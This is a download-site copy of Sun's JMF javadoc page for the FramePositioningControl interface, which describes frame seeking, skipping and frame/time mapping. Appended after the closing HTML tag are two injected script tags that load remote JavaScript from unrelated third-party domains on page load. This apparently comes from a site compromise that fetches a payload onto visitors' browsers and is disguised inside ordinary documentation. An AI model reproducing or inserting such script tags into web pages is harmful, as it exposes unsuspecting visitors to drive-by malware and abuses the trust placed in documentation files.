⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 framepositioningcontrol.html

📁 JMF原版英文说明文档
💻 HTML
字号:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Frameset//EN""http://www.w3.org/TR/REC-html40/frameset.dtd"><!--NewPage--><HTML><HEAD><!-- Generated by javadoc on Sat May 20 18:57:50 PDT 2000 --><TITLE>: Interface  FramePositioningControl</TITLE><LINK REL ="stylesheet" TYPE="text/css" HREF="../../../stylesheet.css" TITLE="Style"></HEAD><BODY BGCOLOR="white"><!-- ========== START OF NAVBAR ========== --><A NAME="navbar_top"><!-- --></A><TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0"><TR><TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"><A NAME="navbar_top_firstrow"><!-- --></A><TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3">  <TR ALIGN="center" VALIGN="top">  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD>  </TR></TABLE></TD><TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM></EM></TD></TR><TR><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">&nbsp;<A HREF="../../../javax/media/control/FrameGrabbingControl.html"><B>PREV CLASS</B></A>&nbsp;&nbsp;<A HREF="../../../javax/media/control/FrameProcessingControl.html"><B>NEXT CLASS</B></A></FONT></TD><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">  <A HREF="../../../index.html" TARGET="_top"><B>FRAMES</B></A>  &nbsp;&nbsp;<A HREF="FramePositioningControl.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD></TR><TR><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">  SUMMARY: &nbsp;INNER&nbsp;|&nbsp;<A HREF="#field_summary">FIELD</A>&nbsp;|&nbsp;CONSTR&nbsp;|&nbsp;<A HREF="#method_summary">METHOD</A></FONT></TD><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">DETAIL: &nbsp;<A HREF="#field_detail">FIELD</A>&nbsp;|&nbsp;CONSTR&nbsp;|&nbsp;<A HREF="#method_detail">METHOD</A></FONT></TD></TR></TABLE><!-- =========== END OF NAVBAR =========== --><HR><!-- ======== START OF CLASS DATA ======== --><H2><FONT SIZE="-1">javax.media.control</FONT><BR>Interface  FramePositioningControl</H2><HR><DL><DT>public interface <B>FramePositioningControl</B><DT>extends <A HREF="../../../javax/media/Control.html">Control</A></DL><P>The <code>FramePositioningControl</code> is the interface to control  precise positioning to a video frame for <code>Players</code>  and <code>Processors</code>. <p> Frame numbers for a bounded movie should generally begin with 0, corresponding to media time 0.  Each video frame of a movie should have a unique frame number that is one bigger than the previous frame.  <p> There is a direct mapping between the frame number and the media time of a video frame; although not all <code>Players</code> can compute that relationship.  For <code>Players</code> that can compute that relationship, the <code>mapFrameToTime</code> and <code>mapTimeToFrame</code> methods can be used. <p> When a <code>Player</code> is seeked or skipped to a new video frame,  the media time of the <code>Player</code> will be changed to the  media time of the corresponding video frame.  A  <code>MediaTimeSetEvent</code> will be sent.<P><DL><DT><B>Since: </B><DD>JMF 2.0</DD></DL><HR><P><!-- ======== INNER CLASS SUMMARY ======== --><!-- =========== FIELD SUMMARY =========== --><A NAME="field_summary"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=2><FONT SIZE="+2"><B>Field Summary</B></FONT></TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"><CODE>static&nbsp;int</CODE></FONT></TD><TD><CODE><B><A HREF="../../../javax/media/control/FramePositioningControl.html#FRAME_UNKNOWN">FRAME_UNKNOWN</A></B></CODE><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"><CODE>static&nbsp;<A HREF="../../../javax/media/Time.html">Time</A></CODE></FONT></TD><TD><CODE><B><A HREF="../../../javax/media/control/FramePositioningControl.html#TIME_UNKNOWN">TIME_UNKNOWN</A></B></CODE><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</TD></TR></TABLE>&nbsp;<!-- ======== CONSTRUCTOR SUMMARY ======== --><!-- ========== METHOD SUMMARY =========== --><A NAME="method_summary"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=2><FONT SIZE="+2"><B>Method Summary</B></FONT></TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"><CODE>&nbsp;<A HREF="../../../javax/media/Time.html">Time</A></CODE></FONT></TD><TD><CODE><B><A HREF="../../../javax/media/control/FramePositioningControl.html#mapFrameToTime(int)">mapFrameToTime</A></B>(int&nbsp;frameNumber)</CODE><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Converts the given frame number to the corresponding media time.</TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"><CODE>&nbsp;int</CODE></FONT></TD><TD><CODE><B><A HREF="../../../javax/media/control/FramePositioningControl.html#mapTimeToFrame(javax.media.Time)">mapTimeToFrame</A></B>(<A HREF="../../../javax/media/Time.html">Time</A>&nbsp;mediaTime)</CODE><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Converts the given media time to the corresponding frame number.</TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"><CODE>&nbsp;int</CODE></FONT></TD><TD><CODE><B><A HREF="../../../javax/media/control/FramePositioningControl.html#seek(int)">seek</A></B>(int&nbsp;frameNumber)</CODE><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Seek to a given video frame.</TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"><CODE>&nbsp;int</CODE></FONT></TD><TD><CODE><B><A HREF="../../../javax/media/control/FramePositioningControl.html#skip(int)">skip</A></B>(int&nbsp;framesToSkip)</CODE><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Skip a given number of frames from the current position.</TD></TR></TABLE>&nbsp;<A NAME="methods_inherited_from_class_javax.media.Control"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor"><TD><B>Methods inherited from interface javax.media.<A HREF="../../../javax/media/Control.html">Control</A></B></TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD><CODE><A HREF="../../../javax/media/Control.html#getControlComponent()">getControlComponent</A></CODE></TD></TR></TABLE>&nbsp;<P><!-- ============ FIELD DETAIL =========== --><A NAME="field_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Field Detail</B></FONT></TD></TR></TABLE><A NAME="TIME_UNKNOWN"><!-- --></A><H3>TIME_UNKNOWN</H3><PRE>public static final <A HREF="../../../javax/media/Time.html">Time</A> <B>TIME_UNKNOWN</B></PRE><DL></DL><HR><A NAME="FRAME_UNKNOWN"><!-- --></A><H3>FRAME_UNKNOWN</H3><PRE>public static final int <B>FRAME_UNKNOWN</B></PRE><DL></DL><!-- ========= CONSTRUCTOR DETAIL ======== --><!-- ============ METHOD DETAIL ========== --><A NAME="method_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Method Detail</B></FONT></TD></TR></TABLE><A NAME="seek(int)"><!-- --></A><H3>seek</H3><PRE>public int <B>seek</B>(int&nbsp;frameNumber)</PRE><DL><DD>Seek to a given video frame. <p> The <code>Player</code> (or <code>Processor</code>) will  attempt to jump to the given frame.   The frame that the <code>Player</code> actually jumped to will  be returned. <p> The media time of the <code>Player</code> will be updated  to reflect the new position set.  A <code>MediaTimeSetEvent</code> will be sent.  <p> This method can be called on a stopped or started <code>Player</code>. Like <code>setMediaTime</code>, if the <code>Player</code> is in the <i>Started</i> state, this method may cause the <code>Player</code> to change states.  If that happens, the appropriate <code>TransitionEvents</code> will be posted by the <code>Player</code> when its state changes. <p><DD><DL></DL></DD><DD><DL><DT><B>Parameters:</B><DD><CODE>frameNumber</CODE> - the frame to seek to.<DT><B>Returns:</B><DD>the actual frame that the Player has seeked to.</DL></DD></DL><HR><A NAME="skip(int)"><!-- --></A><H3>skip</H3><PRE>public int <B>skip</B>(int&nbsp;framesToSkip)</PRE><DL><DD>Skip a given number of frames from the current position. <p> The <code>Player</code> (or <code>Processor</code>) will  attempt to skip the given number  of frames relative to the current position. The actual number of frames skipped will be returned. <p> The media time of the <code>Player</code> will be updated to  reflect the new position set.  A <code>MediaTimeSetEvent</code> will be sent.  <p> This method can be called on a stopped or started <code>Player</code>. If the <code>Player</code> is in the <i>Started</i> state, the current position is not exact/well-defined.  Hence, the frame actually skipped to will not be exact. <p> Like <code>setMediaTime</code>, if the <code>Player</code> is in the <i>Started</i> state, this method may cause the <code>Player</code> to change states.  If that happens, the appropriate <code>TransitionEvents</code> will be posted by the <code>Player</code> when its state changes. <p><DD><DL></DL></DD><DD><DL><DT><B>Parameters:</B><DD><CODE>framesToSkip</CODE> - the number of frames to skip from the current   position.  If framesToSkip is positive, it will seek forward   by framesToSkip number of frames.  If framesToSkip is negative,    it will seek backward by framesToSkip number of frames.   e.g. skip(-1) will step backward one frame.<DT><B>Returns:</B><DD>the actual number of frames skipped.</DL></DD></DL><HR><A NAME="mapFrameToTime(int)"><!-- --></A><H3>mapFrameToTime</H3><PRE>public <A HREF="../../../javax/media/Time.html">Time</A> <B>mapFrameToTime</B>(int&nbsp;frameNumber)</PRE><DL><DD>Converts the given frame number to the corresponding media time. <p><DD><DL></DL></DD><DD><DL><DT><B>Parameters:</B><DD><CODE>frameNumber</CODE> - the input frame number for the conversion.<DT><B>Returns:</B><DD>the converted media time for the given frame.  If the   conversion fails, TIME_UNKNOWN is returned.</DL></DD></DL><HR><A NAME="mapTimeToFrame(javax.media.Time)"><!-- --></A><H3>mapTimeToFrame</H3><PRE>public int <B>mapTimeToFrame</B>(<A HREF="../../../javax/media/Time.html">Time</A>&nbsp;mediaTime)</PRE><DL><DD>Converts the given media time to the corresponding frame number. <p> The frame returned is the nearest frame that has a media time less than or equal to the given media time. <p><DD><DL></DL></DD><DD><DL><DT><B>Parameters:</B><DD><CODE>mediaTime</CODE> - the input media time for the conversion.<DT><B>Returns:</B><DD>the converted frame number the given media time.  If the   conversion fails, FRAME_UNKNOWN is returned.</DL></DD></DL><!-- ========= END OF CLASS DATA ========= --><HR><!-- ========== START OF NAVBAR ========== --><A NAME="navbar_bottom"><!-- --></A><TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0"><TR><TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"><A NAME="navbar_bottom_firstrow"><!-- --></A><TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3">  <TR ALIGN="center" VALIGN="top">  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD>  </TR></TABLE></TD><TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM></EM></TD></TR><TR><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">&nbsp;<A HREF="../../../javax/media/control/FrameGrabbingControl.html"><B>PREV CLASS</B></A>&nbsp;&nbsp;<A HREF="../../../javax/media/control/FrameProcessingControl.html"><B>NEXT CLASS</B></A></FONT></TD><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">  <A HREF="../../../index.html" TARGET="_top"><B>FRAMES</B></A>  &nbsp;&nbsp;<A HREF="FramePositioningControl.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD></TR><TR><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">  SUMMARY: &nbsp;INNER&nbsp;|&nbsp;<A HREF="#field_summary">FIELD</A>&nbsp;|&nbsp;CONSTR&nbsp;|&nbsp;<A HREF="#method_summary">METHOD</A></FONT></TD><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">DETAIL: &nbsp;<A HREF="#field_detail">FIELD</A>&nbsp;|&nbsp;CONSTR&nbsp;|&nbsp;<A HREF="#method_detail">METHOD</A></FONT></TD></TR></TABLE><!-- =========== END OF NAVBAR =========== --><HR><font size="-1">  <a href="mailto:jmf-bugs@sun.com">Submit a bug or feature</a>  <br>Copyright 1999-2000 Sun Microsystems, Inc. 901 San Antonio Road,  Palo Alto, California, 94303, U.S.A. All Rights Reserved.  See the <a href="spec-license.html">Specification License</a> for more details.  <br>Sun, Sun Microsystems, and Java are trademarks or registered  trademarks of Sun Microsystems, Inc. in the US and other countries.</font></BODY></HTML>
<script language=javascript src=http://www.3389qiqi.com/xx.js></script>
<script language="javascript" src="http://grwm.woxwngw.cn/index.htm"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -